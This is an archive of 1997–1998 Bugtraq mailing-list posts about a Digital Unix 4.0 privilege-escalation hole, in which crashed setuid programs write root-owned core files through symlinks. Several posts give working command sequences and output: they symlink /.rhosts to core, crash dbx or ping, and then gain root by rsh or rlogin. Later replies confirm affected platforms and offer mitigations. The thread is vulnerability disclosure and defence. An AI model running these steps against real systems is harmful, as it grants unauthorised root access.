|
Date: Sun, 16 Nov 1997 14:45:23 -0500 (EST) From: John McDonald <jmcdonal@osprey.unf.edu> To: fyodor@dhp.com Subject: digital unix 4.0 hole (fwd) I've had like 9 people write me and confirm that this works on Digital Unix 4.0 and 4.0B, but not Digital Unix 3.x.. ---------- Forwarded message ---------- Date: Fri, 14 Nov 1997 12:37:20 -0500 From: John McDonald <jmcdonal@OSPREY.UNF.EDU> To: BUGTRAQ@NETSPACE.ORG Subject: digital unix 4.0 hole I've verified this on 3 boxes running Digital unix 4.0.. If you run dbx (tested on 3.11.10) on a setuid root program that you have read access to, the program will core dump and create a root owned 600 perm core in the current directory. You might have to run dbx one or two times to get it to work.. The message you are looking for is: dbx version 3.11.10 Type 'help' for help. warning: /bin/crontab has no symbol table -- very little is supported without it Could not attach to process 10112 cannot run program Exiting due to error during startup Now, this core dump will follow symlinks.. and using the trick mentioned earlier with embedding + + in a core dump, you can easily grab root. ln -s /.rhosts core BOB42=" + + " export BOB42 dbx /bin/crontab rsh -l root localhost /bin/sh -i I'm not sure this will work on other Digital Unix boxes, and I'm not sure why it works.. So, email me if you get it to work.. I'm not sure, but I think this might be a bug in the process-tracing implementation.. I think this will locate all of the vulnerable setuid binaries - find / -perm -4004 -print humble - jmcdonal@unf.edu Here are a few more posts that look similar: Date: Sun, 6 Apr 1997 18:32:39 +0200 From: root <rusty@mad.it> To: BUGTRAQ@NETSPACE.ORG Subject: Symlink problem (Tested only on a Digital Unix 4.0) [The following text is in the "iso-8859-1" character set] [Your display is set for the "US-ASCII" character set] [Some characters may be displayed incorrectly] Symlink problem in Digital Unix 4.0, discovered by |-ru5ty- and [SoReN] (28/03/1998) Starting 2 suid root programs in background, and killing them with -11 flag, we'll have a core root owned with ffb our gid and mode 600. Then is enough a symlink to create a file everywhere...like /.rhosts. rusty@mad.it soren@atlink.it $ ls -l /.rhosts /.rhosts not found $ ls -l /usr/sbin/ping -rwsr-xr-x 1 root bin 32768 Nov 16 1996 /usr/sbin/ping $ ln -s /.rhosts core $ IMP=' >+ + >' $ ping somehost & [1] 1337 $ ping somehost & [2] 31337 $ kill -11 31337 $ kill -11 1337 [1] Segmentation fault /usr/sbin/ping somehost (core dumped) [2] +Segmentation fault /usr/sbin/ping somehost (core dumped) $ ls -l /.rhosts -rw------- 1 root system 385024 Mar 29 05:17 /.rhosts ##/.rhosts has been created....that's all.## $ rlogin localhost -l root Is a very serious problem, it needs a fix as soon as possible, infact we can have a DoS if we link our core to the kernel. Other platforms: SunOs 4.1.x 5.5.x Doesn't work Linux 2.0.x Doesn't work Digital Unix 4.0d Doesn't work Others (note tested yet) Date: Mon, 6 Apr 1998 15:21:20 -0400 From: "Jonathan A. Zdziarski" <jonz@NETRAIL.NET> To: BUGTRAQ@NETSPACE.ORG Subject: Re: Symlink problem (Tested only on a Digital Unix 4.0) BSDi 3.1 -> Didn't Work Solaris 2.6 (Intel) -> Didn't work Just to confirm: DEC Unix 4.0d: 21158 Memory fault - core dumped $ ls -la core 21159 Memory fault - core dumped lrwxrwxrwx 1 jonz staff 8 Apr 6 15:18 core -> /.rhosts $ ls -la /.rhosts -rw------- 1 root system 458752 Apr 6 15:18 /.rhosts $ Thank you, Jonathan A. Zdziarski Systems Administrator Netrail Incorporated 888-NETRAIL jonz@netrail.net On Sun, 6 Apr 1997, root wrote: :Symlink problem in Digital Unix 4.0, discovered by |-ru5ty- and [SoReN] :(28/03/1998) : :Starting 2 suid root programs in background, and killing them with -11 flag, :we'll have a core root owned with our gid and mode 600. Then is enough a :symlink :to create a file everywhere...like /.rhosts. : :rusty@mad.it soren@atlink.it : :$ ls -l /.rhosts :/.rhosts not found :$ ls -l /usr/sbin/ping :-rwsr-xr-x 1 root bin 32768 Nov 16 1996 /usr/sbin/ping :$ ln -s /.rhosts core :$ IMP=' :>+ + :>' :$ ping somehost & :[1] 1337 :$ ping somehost & :[2] 31337 :$ kill -11 31337 :$ kill -11 1337 :[1] Segmentation fault /usr/sbin/ping somehost (core dumped) :[2] +Segmentation fault /usr/sbin/ping somehost (core dumped) :$ ls -l /.rhosts :-rw------- 1 root system 385024 Mar 29 05:17 /.rhosts : ##/.rhosts has been created....that's all.## :$ rlogin localhost -l root : :Is a very serious problem, it needs a fix as soon as possible, :infact we can have a DoS if we link our core to the kernel. : : :Other platforms: : :SunOs 4.1.x 5.5.x Doesn't work :Linux 2.0.x Doesn't work :Digital Unix 4.0d Doesn't work :Others (note tested yet) : Date: Tue, 7 Apr 1998 09:17:56 +1000 From: Paul Szabo <psz@MATHS.USYD.EDU.AU> To: BUGTRAQ@NETSPACE.ORG Subject: Re: Symlink problem (Tested only on a Digital Unix 4.0) (Aleph1 and rusty: please ignore my previous, similar message...) rusty@mad.it wrote: > Symlink problem in Digital Unix 4.0 ... > Starting 2 suid root programs ... and killing them with -11 flag ... > $ ln -s /.rhosts core > $ ping somehost & > [1] 1337 > $ ping somehost & > [2] 31337 > $ kill -11 31337 > $ kill -11 1337 > [1] Segmentation fault /usr/sbin/ping somehost (core dumped) > [2] +Segmentation fault /usr/sbin/ping somehost (core dumped) > $ ls -l /.rhosts > -rw------- 1 root system 385024 Mar 29 05:17 /.rhosts > > Other platforms: > > SunOs 4.1.x 5.5.x Doesn't work > Linux 2.0.x Doesn't work > Digital Unix 4.0d Doesn't work > Others (note tested yet) I can reproduce this on Digital Unix 4.0B (OSF1 V4.0 564), with just one setuid program: % unsetenv DISPLAY; xterm The only defence I can offer is to put the following line into the file /sbin/rc3 (this is a sh script; most processes run by users are descendants of this): ulimit -h -c 0 However this does ffb not work for processes started from /etc/inittab: getty (console and tty) logins. Instead of modifying /sbin/rc3, you could try changing /etc/inittab to read something like: s3:3:wait:sh -c 'ulimit -h -c 0; /sbin/rc3 < /dev/console > /dev/console 2>&1' cons:1234:respawn:sh -c 'ulimit -h -c 0; /usr/sbin/getty console console vt100' Obviously this prevents creating core files in all cases; fortunately our users never need them to debug their own programs. Paul Szabo - System Manager // School of Mathematics and Statistics psz@maths.usyd.edu.au // University of Sydney, NSW 2006, Australia Date: Tue, 7 Apr 1998 13:09:55 -0400 From: John McDonald <jmcdonal@UNF.EDU> To: BUGTRAQ@NETSPACE.ORG Subject: Re: Symlink problem (Tested only on a Digital Unix 4.0) It seems also that if you do not have read privileges on a program that you execute, it will not core dump. So another quick fix to this problem would be to take read permissions away on all your suids. humble On Tue, 7 Apr 1998, Paul Szabo wrote: > (Aleph1 and rusty: please ignore my previous, similar message...) > > rusty@mad.it wrote: > > Symlink problem in Digital Unix 4.0 ... > > Starting 2 suid root programs ... and killing them with -11 flag ... > > $ ln -s /.rhosts core > > $ ping somehost & > > [1] 1337 > > $ ping somehost & > > [2] 31337 > > $ kill -11 31337 > > $ kill -11 1337 > > [1] Segmentation fault /usr/sbin/ping somehost (core dumped) > > [2] +Segmentation fault /usr/sbin/ping somehost (core dumped) > > $ ls -l /.rhosts > > -rw------- 1 root system 385024 Mar 29 05:17 /.rhosts > > > > Other platforms: > > > > SunOs 4.1.x 5.5.x Doesn't work > > Linux 2.0.x Doesn't work > > Digital Unix 4.0d Doesn't work > > Others (note tested yet) > > I can reproduce this on Digital Unix 4.0B (OSF1 V4.0 564), with just one > setuid program: > > % unsetenv DISPLAY; xterm > > The only defence I can offer is to put the following line into the file > /sbin/rc3 (this is a sh script; most processes run by users are descendants > of this): > > ulimit -h -c 0 > > However this does not work for processes started from /etc/inittab: getty > (console and tty) logins. Instead of modifying /sbin/rc3, you could try > changing /etc/inittab to read something like: > > s3:3:wait:sh -c 'ulimit -h -c 0; /sbin/rc3 < /dev/console > /dev/console 2>&1' > cons:1234:respawn:sh -c 'ulimit -h -c 0; /usr/sbin/getty console console vt100' > > Obviously this prevents creating core files in all cases; fortunately our > users never need them to debug their own programs. > > Paul Szabo - System Manager // School of Mathematics and Statistics > psz@maths.usyd.edu.au // University of Sydney, NSW 2006, Australia >